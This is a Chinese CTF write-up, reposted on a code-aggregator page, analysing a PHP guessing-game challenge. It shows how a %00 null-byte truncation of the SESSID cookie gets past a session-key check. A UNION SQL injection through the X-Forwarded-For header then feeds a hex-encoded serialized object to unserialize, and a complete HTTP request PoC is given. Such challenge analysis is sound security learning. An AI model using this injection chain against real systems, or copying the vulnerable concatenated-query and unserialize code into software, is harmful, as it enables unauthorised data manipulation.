server sql 去 反斜杠_%00截断配合反序列化的奇妙利用
文章來源:安全客
原文鏈接:%00截斷配合反序列化的奇妙利用 - 安全客,安全資訊平臺
前言
前段時間做了一個CTF題目,發現這道題目相當的精妙,主要是利用了%00的截斷來繞過安全校驗,最終利用反序列化達成目的。
漏洞分析
可控點
整個代碼十分的簡單,就是猜數字的游戲,但是按照正常的邏輯是無法成功的,那么必然存在漏洞。
在config.php中:
foreach ($_GET as $key => $value ) {$_GET[$key] = daddslashes($value); } foreach ($_POST as $key => $value ) {$_POST[$key] = daddslashes($value); } foreach ($_COOKIE as $key => $value ) {$_COOKIE[$key] = daddslashes($value); } foreach ($_SERVER as $key => $value ) {$_SERVER[$key] = addslashes($value); } function daddslashes($string) {if(!get_magic_quotes_gpc()) {if(is_array($string)) {foreach($string as $key => $val) {$string[$key] = daddslashes($val);}} else {$string = addslashes($string);}}return $string; }對GET、POST、Cookie和SERVER都進行了轉義。
分析session.class.php代碼:
class session {function __construct(&$db, $session_id='', $session_table = 'session', $session_name='SESSID'){$this->dbConn = $db;$this->session_name = $session_name;$this->session_table = $session_table;$this->_ip = $this->real_ip();// some other codeif ($session_id == '' && !empty($_COOKIE[$this->session_name])){$this->session_id = $_COOKIE[$this->session_name];}// some other codeif ($this->session_id){$this->load_session();}else{$this->gen_session_id();setcookie($this->session_name, $this->session_id . $this->gen_session_key($this->session_id));}}function real_ip(){static $realip = NULL;if ($realip !== NULL){return $realip;}if (isset($_SERVER)){if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$realip = $_SERVER['HTTP_X_FORWARDED_FOR'];}elseif (isset($_SERVER['HTTP_CLIENT_IP'])){$realip = $_SERVER['HTTP_CLIENT_IP'];}else{if (isset($_SERVER['REMOTE_ADDR'])){$realip = $_SERVER['REMOTE_ADDR'];}else{$realip = '0.0.0.0';}}}else{$realip = '0.0.0.0';}return $realip;} }其中,變量$this->_ip是由函數real_ip()得到,其實是從$_SERVER['HTTP_X_FORWARDED_FOR']等變量中取到的,意味著變量$_SERVER['HTTP_X_FORWARDED_FOR']是可控的。
變量$this->session_id是從變量$_COOKIE["SESSID"]中得到的,同樣是可控的。
所以目前看到這里,我們已經知道了變量$this->_ip和變量$this->session_id都是我們可控的。
漏洞點
發現在初始化中存在如下代碼:
if ($this->session_id) {$this->load_session(); }如果存在$this->session_id,則調用load_session()函數,跟蹤進入到load_session()中,進一步分析
function load_session() {$res = $this->dbConn->query('SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'");$session = $res->fetch_array();if (empty($session)){$this->insert_session();}else{$GLOBALS['_SESSION'] = unserialize($session['data']);} }可以發現,在SQL語句中直接使用了$this->_ip,而這個$this->_ip是我們可控的,$this->session_id也是可控的,其次最后將數據取出來時使用了unserialize($session['data'])反序列化的操作。
根據直覺猜解,這個問題可能和SQL注入以及序列化漏洞有關。
漏洞利用
根據上面的猜測,漏洞可能和SQL注入以及序列化相關。但是漏洞利用均存在一定程度的問題。對于參數$this->_ip,雖然我們可控,但是還是被'包裹,同時之前也進行了轉義,所以如果要利用必須要能夠逃逸出單引號。其次,對于序列化漏洞,需要從$session['data']中讀入數據,所以要能夠利用序列化漏洞的話,則需要$session['data']的內容是可控的。但是通過分析,對于數據庫中data表的數據我們是不可控的,所以序列化的利用也存在很大的問題了。
其實問題的本質是在于SQL注入漏洞,如果能夠成功地進行union注入,也就意味著$session['data']的內容是可控的。那么問題就轉為了如何進行注入了,注入的關鍵問題是在于逃脫引號。
分析SQL語句SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'
如果$this->_ip無法逃逸出單引號,那么可以考慮一下$this->session_id是否能夠逃逸出單引號。繼續分析代碼,
$tmp_session_id = substr($this->session_id, 0, 32); if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32)) {$this->session_id = $tmp_session_id; }可以發現使用了substr()方法進行了階段,那么是否能夠利用截斷的方法得到一個呢?通過一個例子進行說明:
$mystr = "c4ca4238a0b923820dcc509a6f75849'"; $mystr = addslashes($mystr); var_dump($mystr); // 結果為 c4ca4238a0b923820dcc509a6f75849' (length=33) var_dump(substr($mystr, 0, 32)); //結果為 c4ca4238a0b923820dcc509a6f75849 (length=32)說明通過截斷的方式保留是可行的。
解決了SQL注入的問題,接下來就需要解決反序列化的問題,序列化是字符串,但是由于之前使用了addslashes進行轉義,即使能夠使用SQL注入也無法進行反序列,此時需要可以采用十六進制來解決這個問題了。
漏洞實施
在進行實際的測試時,我發現通過'會存在問題。當我們設置SESSID=c4ca4238a0b923820dcc509a6f75849'eb2d9059時,代碼運行至:
$tmp_session_id = substr($this->session_id, 0, 32); if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32)) {$this->session_id = $tmp_session_id; }其中的$tmp_session_id,截斷之后變為c4ca4238a0b923820dcc509a6f75849。此時計算:
$this->gen_session_key($tmp_session_id) // 得到 eb2d9059 substr($this->session_id, 32) // 得到 'eb2d9059可以看到多余的'被保留了,導致此處的判斷無法相等,這樣就存在問題。后來想到可以使用%00的方式得到
$mystr = "QYHuItTPcsD1yj4npiRWGvChx0FLBw6%00"; $mystr = urldecode($mystr); $mystr = addslashes($mystr); var_dump($mystr); // 得到 QYHuItTPcsD1yj4npiRWGvChx0FLBw6 (length=32)這樣多余的0就可以作為后面的校驗值了。
當我們設置SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457時,運行的結果如下:
這樣就完成了SQL注入的第一步了,下面就是構造序列化的內容,然后轉換為十六進制。序列化的內容十分的簡單,需要設置分數大于100份即可,a:2:{s:4:"name";s:6:"hahaha";s:5:"score";s:3:"102";},轉換為十六進制0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d。
至此,所有的問題都解決了,最后的PoC為:
GET URL HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457 X-Forwarded-For: /**/union select 0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d # Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0注意設置Cookie和XXF。
總結
一般的截斷通過是為了保留得到單引號,但是相較于常規的截斷手法,你會發現在本例中完全不適用,無法繞過關鍵的校驗是$this->gen_session_key($tmp_session_id) == substr($this->session_id, 32),同時在繞過了這個校驗之后還需要保留單引號,最終采用%00截斷完美地解決了這個問題。
這是一道非常好的題目,雖然所有的考察點都知道,但是結合在一起確實如此的精妙,遇到了問題看來需要多想多思考,在安全這條路上還有很長的一段路要走。
總結
以上是生活随笔為你收集整理的server sql 去 反斜杠_%00截断配合反序列化的奇妙利用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: php弱类型漏洞,php代码审计之弱类型
- 下一篇: plotwidget横坐标日期_plot